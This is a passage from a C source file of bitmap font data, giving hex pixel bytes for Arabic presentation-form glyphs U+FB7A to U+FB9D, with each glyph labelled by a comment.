0x0, 0x12, 0x10, 0x0, 0x0, 0x0, 0x0, 0xcf,
0xfe, 0xb7, 0x20, 0x0, 0x0, 0x45, 0x79, 0xcf,
0xf9, 0x0, 0x0, 0x0, 0x0, 0x2d, 0xfa, 0x0,
0x0, 0x0, 0x2, 0xef, 0xd0, 0x0, 0x0, 0x0,
0x3e, 0xe9, 0xf5, 0x0, 0x17, 0x8b, 0xfd, 0x20,
0xcf, 0x83, 0x2f, 0xeb, 0x60, 0x0, 0x1a, 0xf7,
0x0, 0x0, 0xe4, 0xe4, 0x0, 0x0, 0x0, 0x0,
0x20, 0x20, 0x0, 0x0,
/* U+FB7A "ﭺ" */
0x0, 0x0, 0x0, 0x0, 0x0, 0x9e, 0xed, 0xff,
0xe9, 0x0, 0x41, 0x3d, 0xe8, 0x41, 0x0, 0x3,
0xfa, 0x0, 0x0, 0x0, 0xc, 0xc0, 0x0, 0x0,
0x0, 0x3f, 0x30, 0xd5, 0xd4, 0x0, 0x6f, 0x0,
0x20, 0x20, 0x0, 0x5f, 0x10, 0xd, 0x50, 0x0,
0x1f, 0x80, 0x2, 0x0, 0x0, 0x8, 0xf9, 0x31,
0x14, 0x94, 0x0, 0x6d, 0xff, 0xff, 0xc2, 0x0,
0x0, 0x13, 0x31, 0x0,
/* U+FB7B "ﭻ" */
0x0, 0x0, 0x0, 0x0, 0x0, 0x7c, 0xff, 0xff,
0xd8, 0x0, 0xa8, 0x6b, 0xff, 0xe7, 0x0, 0x0,
0xcf, 0x89, 0xd0, 0x0, 0xa, 0xf3, 0x1, 0xf3,
0x0, 0x2f, 0x60, 0x0, 0xaa, 0x0, 0x5f, 0x12,
0x12, 0x2f, 0x71, 0x6f, 0x1c, 0x6d, 0x53, 0xd7,
0x2f, 0x70, 0xd5, 0x0, 0x0, 0x9, 0xf9, 0x52,
0x13, 0x73, 0x0, 0x7d, 0xff, 0xff, 0xc2, 0x0,
0x0, 0x13, 0x31, 0x0,
/* U+FB7C "ﭼ" */
0x0, 0x12, 0x10, 0x0, 0x0, 0x0, 0xcf, 0xfe,
0xb7, 0x20, 0x0, 0x45, 0x79, 0xdf, 0xf9, 0x0,
0x0, 0x0, 0x2c, 0xfa, 0x0, 0x0, 0x2, 0xef,
0x60, 0x0, 0x0, 0x3e, 0xd2, 0x0, 0x17, 0x8b,
0xfc, 0x10, 0x0, 0x2f, 0xeb, 0x60, 0x0, 0x0,
0x0, 0x0, 0xe4, 0xe4, 0x0, 0x0, 0x0, 0x20,
0x20, 0x0, 0x0, 0x0, 0xe, 0x40, 0x0, 0x0,
0x0, 0x2, 0x0, 0x0,
/* U+FB7D "ﭽ" */
0x0, 0x12, 0x10, 0x0, 0x0, 0x0, 0x0, 0xcf,
0xfe, 0xb7, 0x20, 0x0, 0x0, 0x45, 0x79, 0xcf,
0xf9, 0x0, 0x0, 0x0, 0x0, 0x2d, 0xfa, 0x0,
0x0, 0x0, 0x2, 0xef, 0xd0, 0x0, 0x0, 0x0,
0x3e, 0xe9, 0xf5, 0x0, 0x17, 0x8b, 0xfd, 0x20,
0xcf, 0x83, 0x2f, 0xeb, 0x60, 0x0, 0x1a, 0xf7,
0x0, 0x0, 0xe4, 0xe4, 0x0, 0x0, 0x0, 0x0,
0x20, 0x20, 0x0, 0x0, 0x0, 0x0, 0xe, 0x40,
0x0, 0x0, 0x0, 0x0, 0x2, 0x0, 0x0, 0x0,
/* U+FB7E "ﭾ" */
0x0, 0x0, 0x0, 0x0, 0x0, 0x9e, 0xed, 0xff,
0xe9, 0x0, 0x41, 0x3d, 0xe8, 0x41, 0x0, 0x3,
0xfa, 0x0, 0x0, 0x0, 0xc, 0xc0, 0x0, 0x0,
0x0, 0x3f, 0x30, 0xd5, 0xd4, 0x0, 0x6f, 0x0,
0x20, 0x20, 0x0, 0x5f, 0x10, 0xd5, 0xe4, 0x0,
0x1f, 0x80, 0x21, 0x20, 0x0, 0x8, 0xf9, 0x31,
0x13, 0x83, 0x0, 0x6d, 0xff, 0xff, 0xc2, 0x0,
0x0, 0x13, 0x31, 0x0,
/* U+FB7F "ﭿ" */
0x0, 0x0, 0x0, 0x0, 0x0, 0x7c, 0xff, 0xff,
0xd8, 0x0, 0xa8, 0x6b, 0xff, 0xe7, 0x0, 0x0,
0xcf, 0x89, 0xd0, 0x0, 0xa, 0xf3, 0x1, 0xf3,
0x0, 0x2f, 0x60, 0x0, 0xaa, 0x0, 0x5f, 0x12,
0x12, 0x2f, 0x71, 0x6f, 0x1c, 0x6d, 0x53, 0xd7,
0x2f, 0x7c, 0x6d, 0x50, 0x0, 0x9, 0xfb, 0x43,
0x23, 0x73, 0x0, 0x7d, 0xff, 0xff, 0xc2, 0x0,
0x0, 0x13, 0x31, 0x0,
/* U+FB80 "ﮀ" */
0x0, 0x12, 0x10, 0x0, 0x0, 0x0, 0xcf, 0xfe,
0xb7, 0x20, 0x0, 0x45, 0x79, 0xdf, 0xf9, 0x0,
0x0, 0x0, 0x2c, 0xfa, 0x0, 0x0, 0x2, 0xef,
0x60, 0x0, 0x0, 0x3e, 0xd2, 0x0, 0x17, 0x8b,
0xfc, 0x10, 0x0, 0x2f, 0xeb, 0x60, 0x0, 0x0,
0x0, 0x0, 0xe4, 0xe4, 0x0, 0x0, 0x0, 0x20,
0x20, 0x0, 0x0, 0x0, 0xd4, 0xe3, 0x0, 0x0,
0x0, 0x20, 0x20, 0x0,
/* U+FB81 "ﮁ" */
0x0, 0x12, 0x10, 0x0, 0x0, 0x0, 0x0, 0xcf,
0xfe, 0xb7, 0x20, 0x0, 0x0, 0x45, 0x79, 0xcf,
0xf9, 0x0, 0x0, 0x0, 0x0, 0x2d, 0xfa, 0x0,
0x0, 0x0, 0x2, 0xef, 0xd0, 0x0, 0x0, 0x0,
0x3e, 0xe9, 0xf5, 0x0, 0x17, 0x8b, 0xfd, 0x20,
0xcf, 0x83, 0x2f, 0xeb, 0x60, 0x0, 0x1a, 0xf7,
0x0, 0x0, 0xe4, 0xe4, 0x0, 0x0, 0x0, 0x0,
0x20, 0x20, 0x0, 0x0, 0x0, 0x0, 0xd4, 0xe3,
0x0, 0x0, 0x0, 0x0, 0x20, 0x20, 0x0, 0x0,
/* U+FB82 "ﮂ" */
0x0, 0x2e, 0xa0, 0x0, 0x0, 0x3f, 0x70, 0x0,
0x0, 0x9e, 0x0, 0x0, 0x5, 0xf2, 0x0, 0x0,
0x7f, 0x10, 0x96, 0xaf, 0xb0, 0xd, 0xfe, 0x90,
0x0, 0x0, 0x0, 0x0, 0x0, 0xa8, 0xb7, 0x0,
0x1, 0x11, 0x10,
/* U+FB83 "ﮃ" */
0x0, 0x2e, 0xa0, 0x0, 0x0, 0x0, 0x3f, 0x60,
0x0, 0x0, 0x0, 0x9d, 0x0, 0x0, 0x0, 0x5,
0xf2, 0x0, 0x0, 0x0, 0x7f, 0x60, 0x0, 0x66,
0xaf, 0xef, 0x83, 0xf, 0xfe, 0x80, 0xaf, 0x90,
0x0, 0x0, 0x0, 0x0, 0x0, 0xa8, 0xb7, 0x0,
0x0, 0x1, 0x11, 0x10, 0x0,
/* U+FB84 "ﮄ" */
0x0, 0xf3, 0xf1, 0x0, 0x2, 0x2, 0x0, 0x0,
0x13, 0x0, 0x0, 0x1, 0xdc, 0x0, 0x0, 0x2,
0xf8, 0x0, 0x0, 0x8, 0xe0, 0x0, 0x0, 0x4f,
0x20, 0x0, 0x8, 0xf1, 0x9, 0x7a, 0xfb, 0x0,
0xdf, 0xe8, 0x0,
/* U+FB85 "ﮅ" */
0x0, 0xf3, 0xf1, 0x0, 0x0, 0x2, 0x2, 0x0,
0x0, 0x0, 0x12, 0x0, 0x0, 0x0, 0x1, 0xdb,
0x0, 0x0, 0x0, 0x2, 0xf6, 0x0, 0x0, 0x0,
0x9, 0xe0, 0x0, 0x0, 0x0, 0x4f, 0x20, 0x0,
0x0, 0x8, 0xf6, 0x0, 0x6, 0x6a, 0xfe, 0xf8,
0x30, 0xff, 0xe8, 0xa, 0xf9,
/* U+FB86 "ﮆ" */
0x0, 0xf, 0x10, 0x0, 0x0, 0x20, 0x0, 0x0,
0xf3, 0xf1, 0x0, 0x2, 0x2, 0x0, 0x0, 0x13,
0x0, 0x0, 0x1, 0xdc, 0x0, 0x0, 0x2, 0xf8,
0x0, 0x0, 0x8, 0xe0, 0x0, 0x0, 0x4f, 0x20,
0x0, 0x8, 0xf1, 0x9, 0x7a, 0xfb, 0x0, 0xdf,
0xe8, 0x0,
/* U+FB87 "ﮇ" */
0x0, 0xf, 0x10, 0x0, 0x0, 0x0, 0x20, 0x0,
0x0, 0x0, 0xf3, 0xf1, 0x0, 0x0, 0x2, 0x2,
0x0, 0x0, 0x0, 0x12, 0x0, 0x0, 0x0, 0x1,
0xdb, 0x0, 0x0, 0x0, 0x2, 0xf6, 0x0, 0x0,
0x0, 0x9, 0xe0, 0x0, 0x0, 0x0, 0x4f, 0x20,
0x0, 0x0, 0x8, 0xf6, 0x0, 0x6, 0x6a, 0xfe,
0xf8, 0x30, 0xff, 0xe8, 0xa, 0xf9,
/* U+FB88 "ﮈ" */
0x0, 0xc0, 0x0, 0x0, 0xc, 0x26, 0x10, 0x0,
0xda, 0x98, 0x0, 0x6e, 0xcc, 0x20, 0x0, 0x0,
0x0, 0x0, 0x2, 0xb7, 0x0, 0x0, 0x5, 0xf5,
0x0, 0x0, 0xa, 0xd0, 0x0, 0x0, 0x5f, 0x20,
0x0, 0x7, 0xf1, 0x9, 0x6a, 0xfc, 0x0, 0xdf,
0xe9, 0x10,
/* U+FB89 "ﮉ" */
0x0, 0xc0, 0x0, 0x0, 0x0, 0xc, 0x26, 0x10,
0x0, 0x0, 0xda, 0x98, 0x0, 0x0, 0x6e, 0xcc,
0x20, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x2,
0xb5, 0x0, 0x0, 0x0, 0x5, 0xf3, 0x0, 0x0,
0x0, 0xa, 0xc0, 0x0, 0x0, 0x0, 0x5f, 0x10,
0x0, 0x0, 0x7, 0xf6, 0x0, 0x6, 0x6a, 0xfe,
0xf8, 0x30, 0xff, 0xe8, 0xa, 0xf9,
/* U+FB8A "ﮊ" */
0x0, 0x0, 0x1, 0xf0, 0x0, 0x0, 0x0, 0x2,
0x0, 0x0, 0x0, 0x1f, 0x3f, 0x0, 0x0, 0x0,
0x20, 0x20, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0xc, 0x70, 0x0, 0x0, 0x0, 0xbb, 0x0,
0x0, 0x0, 0xa, 0xb0, 0x0, 0x0, 0x0, 0xda,
0x0, 0x0, 0x0, 0x4f, 0x50, 0x0, 0x0, 0x4f,
0xd0, 0x1, 0x46, 0xcf, 0xd2, 0x0, 0xaf, 0xfc,
0x60, 0x0, 0x3, 0x31, 0x0, 0x0, 0x0,
/* U+FB8B "ﮋ" */
0x0, 0x0, 0x1, 0xf0, 0x0, 0x0, 0x0, 0x0,
0x20, 0x0, 0x0, 0x0, 0x1f, 0x3f, 0x0, 0x0,
0x0, 0x2, 0x2, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0xe8, 0x0, 0x0, 0x0,
0x0, 0xbd, 0x0, 0x0, 0x0, 0x0, 0xaf, 0xa7,
0x0, 0x0, 0x0, 0xdd, 0xef, 0x0, 0x0, 0x5,
0xf3, 0x0, 0x0, 0x0, 0x4f, 0xb0, 0x0, 0x13,
0x6b, 0xfb, 0x0, 0x0, 0xaf, 0xfb, 0x50, 0x0,
0x0, 0x33, 0x0, 0x0, 0x0, 0x0,
/* U+FB8C "ﮌ" */
0x0, 0x0, 0x2, 0x0, 0x0, 0x0, 0x0, 0xc0,
0x0, 0x0, 0x0, 0xc, 0x27, 0x10, 0x0, 0x0,
0xda, 0x97, 0x0, 0x0, 0x7e, 0xcb, 0x20, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0xd, 0x70, 0x0, 0x0, 0x0, 0xbb,
0x0, 0x0, 0x0, 0xa, 0xb0, 0x0, 0x0, 0x0,
0xd9, 0x0, 0x0, 0x0, 0x4f, 0x50, 0x0, 0x0,
0x4f, 0xd0, 0x1, 0x46, 0xcf, 0xd1, 0x0, 0xaf,
0xfc, 0x60, 0x0, 0x3, 0x31, 0x0, 0x0, 0x0,
/* U+FB8D "ﮍ" */
0x0, 0x0, 0x6, 0x0, 0x0, 0x0, 0x0, 0xc,
0x0, 0x0, 0x0, 0x0, 0xc, 0x38, 0x10, 0x0,
0x0, 0xe, 0xa9, 0x70, 0x0, 0x0, 0x7e, 0xcb,
0x10, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x10, 0x0, 0x0, 0x0, 0x0, 0xe8, 0x0,
0x0, 0x0, 0x0, 0xbd, 0x0, 0x0, 0x0, 0x0,
0xaf, 0xa7, 0x0, 0x0, 0x0, 0xdd, 0xef, 0x0,
0x0, 0x5, 0xf3, 0x0, 0x0, 0x0, 0x5f, 0xb0,
0x0, 0x13, 0x6b, 0xfb, 0x0, 0x0, 0xaf, 0xfb,
0x50, 0x0, 0x0, 0x33, 0x0, 0x0, 0x0, 0x0,
/* U+FB8E "ﮎ" */
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x42, 0x0,
0x0, 0x0, 0x0, 0x1, 0x7d, 0xf4, 0x0, 0x0,
0x0, 0x2, 0x9f, 0xf9, 0x20, 0x0, 0x0, 0x0,
0x3f, 0xd6, 0x0, 0x0, 0x0, 0x0, 0x0, 0x9f,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x5f, 0x70,
0x0, 0x0, 0x0, 0x0, 0x0, 0x9, 0xf4, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0xcf, 0x20, 0x0,
0x79, 0x0, 0x0, 0x0, 0x1e, 0xb0, 0x0, 0xe8,
0x0, 0x0, 0x0, 0x7, 0xf0, 0x0, 0xe9, 0x0,
0x0, 0x0, 0xb, 0xe0, 0x0, 0x8f, 0x94, 0x22,
0x49, 0xef, 0x60, 0x0, 0x7, 0xef, 0xff, 0xfd,
0x92, 0x0, 0x0, 0x0, 0x2, 0x43, 0x10, 0x0,
0x0, 0x0,
/* U+FB8F "ﮏ" */
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x11, 0x0,
0x0, 0x0, 0x0, 0x0, 0x3, 0xaf, 0x50, 0x0,
0x0, 0x0, 0x0, 0x6d, 0xfd, 0x60, 0x0, 0x0,
0x0, 0x2, 0xef, 0xa3, 0x0, 0x0, 0x0, 0x0,
0x0, 0x9f, 0x20, 0x0, 0x0, 0x0, 0x0, 0x0,
0x6, 0xf4, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0xa, 0xe1, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0xd, 0xc0, 0x0, 0x0, 0x46, 0x0, 0x0, 0x0,
0x1e, 0xa0, 0x0, 0xe, 0x80, 0x0, 0x0, 0x0,
0x7f, 0x60, 0x0, 0xe8, 0x0, 0x0, 0x0, 0xb,
0xff, 0x30, 0x9, 0xf9, 0x31, 0x24, 0x8e, 0xfa,
0xde, 0x84, 0x8, 0xef, 0xff, 0xfe, 0xa4, 0x1,
0xbf, 0xb0, 0x0, 0x24, 0x32, 0x0, 0x0, 0x0,
0x0,
/* U+FB90 "ﮐ" */
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x4,
0xb9, 0x0, 0x1, 0x7d, 0xfc, 0x40, 0x8, 0xff,
0x93, 0x0, 0x3, 0xf9, 0x10, 0x0, 0x0, 0x3f,
0x60, 0x0, 0x0, 0x0, 0xaf, 0x30, 0x0, 0x0,
0x0, 0xce, 0x10, 0x0, 0x0, 0x1, 0xec, 0x0,
0x0, 0x0, 0x5, 0xf4, 0x0, 0x0, 0x0, 0x3f,
0x50, 0x1, 0x77, 0x7d, 0xf1, 0x0, 0x2f, 0xff,
0xd4, 0x0, 0x0,
/* U+FB91 "ﮑ" */
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x4b, 0x90, 0x0, 0x1, 0x7d, 0xfc, 0x40, 0x0,
0x8f, 0xf9, 0x30, 0x0, 0x3, 0xf9, 0x10, 0x0,
0x0, 0x3, 0xf6, 0x0, 0x0, 0x0, 0x0, 0xaf,
0x30, 0x0, 0x0, 0x0, 0xc, 0xe1, 0x0, 0x0,
0x0, 0x1, 0xec, 0x0, 0x0, 0x0, 0x0, 0x5f,
0xa0, 0x0, 0x0, 0x0, 0x3f, 0xf7, 0x0, 0x17,
0x77, 0xdf, 0xaf, 0x97, 0x2f, 0xff, 0xd4, 0x8,
0xef,
/* U+FB92 "ﮒ" */
0x0, 0x0, 0x0, 0x0, 0x0, 0x1, 0x73, 0x0,
0x0, 0x0, 0x0, 0x3, 0xaf, 0xb2, 0x0, 0x0,
0x0, 0x6, 0xde, 0x81, 0x42, 0x0, 0x0, 0x0,
0x6b, 0x51, 0x7d, 0xf4, 0x0, 0x0, 0x0, 0x2,
0x9f, 0xf9, 0x20, 0x0, 0x0, 0x0, 0x3f, 0xd6,
0x0, 0x0, 0x0, 0x0, 0x0, 0x9f, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x5f, 0x70, 0x0, 0x0,
0x0, 0x0, 0x0, 0x9, 0xf4, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0xcf, 0x20, 0x0, 0x79, 0x0,
0x0, 0x0, 0x1e, 0xb0, 0x0, 0xe8, 0x0, 0x0,
0x0, 0x7, 0xf0, 0x0, 0xe9, 0x0, 0x0, 0x0,
0xb, 0xe0, 0x0, 0x8f, 0x94, 0x22, 0x49, 0xef,
0x60, 0x0, 0x7, 0xef, 0xff, 0xfd, 0x92, 0x0,
0x0, 0x0, 0x2, 0x43, 0x10, 0x0, 0x0, 0x0,
/* U+FB93 "ﮓ" */
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x42, 0x0,
0x0, 0x0, 0x0, 0x0, 0x16, 0xde, 0x30, 0x0,
0x0, 0x0, 0x3, 0x9f, 0xb5, 0x11, 0x0, 0x0,
0x0, 0x6, 0xe8, 0x23, 0xaf, 0x50, 0x0, 0x0,
0x0, 0x11, 0x6d, 0xfd, 0x60, 0x0, 0x0, 0x0,
0x2, 0xef, 0xa3, 0x0, 0x0, 0x0, 0x0, 0x0,
0x9f, 0x20, 0x0, 0x0, 0x0, 0x0, 0x0, 0x6,
0xf4, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0xa,
0xe1, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0xd,
0xc0, 0x0, 0x0, 0x46, 0x0, 0x0, 0x0, 0x1e,
0xa0, 0x0, 0xe, 0x80, 0x0, 0x0, 0x0, 0x7f,
0x60, 0x0, 0xe8, 0x0, 0x0, 0x0, 0xb, 0xff,
0x30, 0x9, 0xf9, 0x31, 0x24, 0x8e, 0xfa, 0xde,
0x84, 0x8, 0xef, 0xff, 0xfe, 0xa4, 0x1, 0xbf,
0xb0, 0x0, 0x24, 0x32, 0x0, 0x0, 0x0, 0x0,
/* U+FB94 "ﮔ" */
0x0, 0x0, 0x0, 0x0, 0x20, 0x0, 0x0, 0x17,
0xd9, 0x0, 0x3, 0xaf, 0xb4, 0x0, 0x1d, 0xe8,
0x14, 0xb9, 0x1, 0x51, 0x7d, 0xfc, 0x40, 0x8,
0xff, 0x93, 0x0, 0x3, 0xf9, 0x10, 0x0, 0x0,
0x3f, 0x60, 0x0, 0x0, 0x0, 0xaf, 0x30, 0x0,
0x0, 0x0, 0xce, 0x10, 0x0, 0x0, 0x1, 0xec,
0x0, 0x0, 0x0, 0x5, 0xf4, 0x0, 0x0, 0x0,
0x3f, 0x50, 0x1, 0x77, 0x7d, 0xf1, 0x0, 0x2f,
0xff, 0xd4, 0x0, 0x0,
/* U+FB95 "ﮕ" */
0x0, 0x0, 0x0, 0x0, 0x20, 0x0, 0x0, 0x1,
0x7d, 0x90, 0x0, 0x3, 0xaf, 0xb4, 0x0, 0x1,
0xde, 0x81, 0x4b, 0x90, 0x1, 0x51, 0x7d, 0xfc,
0x40, 0x0, 0x8f, 0xf9, 0x30, 0x0, 0x3, 0xf9,
0x10, 0x0, 0x0, 0x3, 0xf6, 0x0, 0x0, 0x0,
0x0, 0xaf, 0x30, 0x0, 0x0, 0x0, 0xc, 0xe1,
0x0, 0x0, 0x0, 0x1, 0xec, 0x0, 0x0, 0x0,
0x0, 0x5f, 0xa0, 0x0, 0x0, 0x0, 0x3f, 0xf7,
0x0, 0x17, 0x77, 0xdf, 0xaf, 0x97, 0x2f, 0xff,
0xd4, 0x8, 0xef,
/* U+FB96 "ﮖ" */
0x0, 0x0, 0x0, 0x0, 0x0, 0x2, 0x94, 0x0,
0x0, 0x0, 0x0, 0x5, 0xcf, 0x91, 0x0, 0x0,
0x0, 0x18, 0xed, 0x61, 0x63, 0x0, 0x0, 0x0,
0x6a, 0x32, 0x8e, 0xf4, 0x0, 0x0, 0x0, 0x3,
0xbf, 0xe7, 0x10, 0x0, 0x0, 0x0, 0x4f, 0xc5,
0x0, 0x0, 0x0, 0x0, 0x0, 0x9f, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x4f, 0x80, 0x0, 0x0,
0x0, 0x0, 0x0, 0x8, 0xf5, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0xbf, 0x20, 0x0, 0x8a, 0x0,
0x0, 0x0, 0x1e, 0xc0, 0x0, 0xe8, 0x0, 0x0,
0x0, 0x7, 0xf0, 0x0, 0xe9, 0x0, 0x0, 0x0,
0xb, 0xe0, 0x0, 0x8f, 0x94, 0x22, 0x49, 0xef,
0x60, 0x0, 0x7, 0xef, 0xff, 0xfd, 0x82, 0x0,
0x0, 0x0, 0x2, 0x43, 0x10, 0x0, 0x0, 0x0,
0x0, 0x0, 0x5d, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x2, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x5d, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x2,
0x0, 0x0, 0x0, 0x0,
/* U+FB97 "ﮗ" */
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x42, 0x0,
0x0, 0x0, 0x0, 0x0, 0x16, 0xde, 0x30, 0x0,
0x0, 0x0, 0x3, 0x9f, 0xb5, 0x11, 0x0, 0x0,
0x0, 0x6, 0xe8, 0x23, 0xaf, 0x50, 0x0, 0x0,
0x0, 0x11, 0x6d, 0xfd, 0x60, 0x0, 0x0, 0x0,
0x2, 0xef, 0xa3, 0x0, 0x0, 0x0, 0x0, 0x0,
0x9f, 0x20, 0x0, 0x0, 0x0, 0x0, 0x0, 0x6,
0xf4, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0xa,
0xe1, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0xd,
0xc0, 0x0, 0x0, 0x46, 0x0, 0x0, 0x0, 0x1e,
0xa0, 0x0, 0xe, 0x80, 0x0, 0x0, 0x0, 0x7f,
0x60, 0x0, 0xe8, 0x0, 0x0, 0x0, 0xb, 0xff,
0x30, 0x9, 0xf9, 0x31, 0x24, 0x8e, 0xfa, 0xde,
0x84, 0x8, 0xef, 0xff, 0xfe, 0xa4, 0x1, 0xbf,
0xb0, 0x0, 0x24, 0x32, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x5, 0xd0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x2, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x5, 0xd0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x2, 0x0, 0x0, 0x0, 0x0, 0x0,
/* U+FB98 "ﮘ" */
0x0, 0x0, 0x0, 0x0, 0x20, 0x0, 0x0, 0x17,
0xd9, 0x0, 0x3, 0xaf, 0xb4, 0x0, 0x1d, 0xe8,
0x14, 0xb9, 0x1, 0x51, 0x7d, 0xfc, 0x40, 0x8,
0xff, 0x93, 0x0, 0x3, 0xf9, 0x10, 0x0, 0x0,
0x3f, 0x60, 0x0, 0x0, 0x0, 0xaf, 0x30, 0x0,
0x0, 0x0, 0xce, 0x10, 0x0, 0x0, 0x1, 0xec,
0x0, 0x0, 0x0, 0x5, 0xf4, 0x0, 0x0, 0x0,
0x3f, 0x50, 0x1, 0x77, 0x7d, 0xf1, 0x0, 0x2f,
0xff, 0xd4, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x7, 0xb0, 0x0, 0x0, 0x0, 0x11, 0x0,
0x0, 0x0, 0x7, 0xb0, 0x0, 0x0, 0x0, 0x11,
0x0, 0x0,
/* U+FB99 "ﮙ" */
0x0, 0x0, 0x0, 0x0, 0x20, 0x0, 0x0, 0x1,
0x7d, 0x90, 0x0, 0x3, 0xaf, 0xb4, 0x0, 0x1,
0xde, 0x81, 0x4b, 0x90, 0x1, 0x51, 0x7d, 0xfc,
0x40, 0x0, 0x8f, 0xf9, 0x30, 0x0, 0x3, 0xf9,
0x10, 0x0, 0x0, 0x3, 0xf6, 0x0, 0x0, 0x0,
0x0, 0xaf, 0x30, 0x0, 0x0, 0x0, 0xc, 0xe1,
0x0, 0x0, 0x0, 0x1, 0xec, 0x0, 0x0, 0x0,
0x0, 0x5f, 0xa0, 0x0, 0x0, 0x0, 0x3f, 0xf7,
0x0, 0x17, 0x77, 0xdf, 0xaf, 0x97, 0x2f, 0xff,
0xd4, 0x8, 0xef, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x7, 0xb0, 0x0, 0x0, 0x0, 0x1, 0x10,
0x0, 0x0, 0x0, 0x7, 0xb0, 0x0, 0x0, 0x0,
0x1, 0x10, 0x0, 0x0,
/* U+FB9A "ﮚ" */
0x0, 0x0, 0x0, 0xf3, 0xf2, 0x2, 0x84, 0x0,
0x0, 0x0, 0x20, 0x25, 0xbf, 0xa1, 0x0, 0x0,
0x0, 0x17, 0xdd, 0x71, 0x53, 0x0, 0x0, 0x0,
0x6b, 0x41, 0x8e, 0xf4, 0x0, 0x0, 0x0, 0x3,
0xaf, 0xe8, 0x20, 0x0, 0x0, 0x0, 0x4f, 0xd6,
0x0, 0x0, 0x0, 0x0, 0x0, 0x9f, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x5f, 0x70, 0x0, 0x0,
0x0, 0x0, 0x0, 0x9, 0xf4, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0xbf, 0x20, 0x0, 0x78, 0x0,
0x0, 0x0, 0x1e, 0xc0, 0x0, 0xe8, 0x0, 0x0,
0x0, 0x7, 0xf0, 0x0, 0xe9, 0x0, 0x0, 0x0,
0x1b, 0xe0, 0x0, 0x8f, 0x94, 0x22, 0x49, 0xff,
0x60, 0x0, 0x7, 0xef, 0xff, 0xfd, 0x92, 0x0,
0x0, 0x0, 0x2, 0x43, 0x10, 0x0, 0x0, 0x0,
/* U+FB9B "ﮛ" */
0x0, 0x0, 0x0, 0xf3, 0xf2, 0x2, 0x84, 0x0,
0x0, 0x0, 0x2, 0x3, 0x6b, 0xf9, 0x10, 0x0,
0x0, 0x0, 0x18, 0xec, 0x61, 0x63, 0x0, 0x0,
0x0, 0x5, 0x93, 0x4a, 0xff, 0x30, 0x0, 0x0,
0x0, 0x7, 0xef, 0xc6, 0x0, 0x0, 0x0, 0x0,
0x6, 0xfa, 0x30, 0x0, 0x0, 0x0, 0x0, 0x0,
0x8f, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x1,
0xdb, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x2,
0xe9, 0x0, 0x0, 0x1, 0x20, 0x0, 0x0, 0x3,
0xf6, 0x0, 0x0, 0xca, 0x0, 0x0, 0x0, 0x8,
0xf4, 0x0, 0xf, 0x80, 0x0, 0x0, 0x0, 0xaf,
0xf3, 0x0, 0xaf, 0x83, 0x12, 0x48, 0xef, 0xad,
0xe8, 0x40, 0x9f, 0xff, 0xff, 0xfa, 0x40, 0x1b,
0xfb, 0x0, 0x2, 0x43, 0x20, 0x0, 0x0, 0x0,
0x0,
/* U+FB9C "ﮜ" */
0x6, 0xc7, 0xb0, 0x16, 0x70, 0x12, 0x15, 0xaf,
0xb4, 0x0, 0x6d, 0xe8, 0x24, 0x60, 0x1b, 0x42,
0x8e, 0xf7, 0x0, 0x3b, 0xfe, 0x81, 0x0, 0x1f,
0xc5, 0x0, 0x0, 0x4, 0xf5, 0x0, 0x0, 0x0,
0xc, 0xe1, 0x0, 0x0, 0x0, 0x1e, 0xd0, 0x0,
0x0, 0x0, 0x2f, 0xa0, 0x0, 0x0, 0x0, 0x5f,
0x30, 0x0, 0x0, 0x2, 0xf5, 0x0, 0x17, 0x77,
0xdf, 0x10, 0x2, 0xff, 0xfd, 0x40, 0x0,
/* U+FB9D "ﮝ" */
0x6, 0xc7, 0xb0, 0x16, 0x70, 0x1, 0x21, 0x5a,
0xfb, 0x40, 0x0, 0x6d, 0xe8, 0x24, 0x60, 0x1,
0xb4, 0x28, 0xef, 0x70, 0x0, 0x3b, 0xfe, 0x81,
0x0, 0x1, 0xfc, 0x50, 0x0, 0x0, 0x4, 0xf5,
0x0, 0x0, 0x0, 0x0, 0xce, 0x10, 0x0, 0x0,
0x0, 0x1e, 0xd0, 0x0, 0x0, 0x0, 0x2, 0xfb,
0x0, 0x0, 0x0, 0x0, 0x5f, 0x90, 0x0, 0x0,
0x0, 0x2f, 0xf7, 0x0, 0x17, 0x77, 0xdf, 0xaf,
0x97, 0x2f, 0xff, 0xd4, 0x8, 0xef,
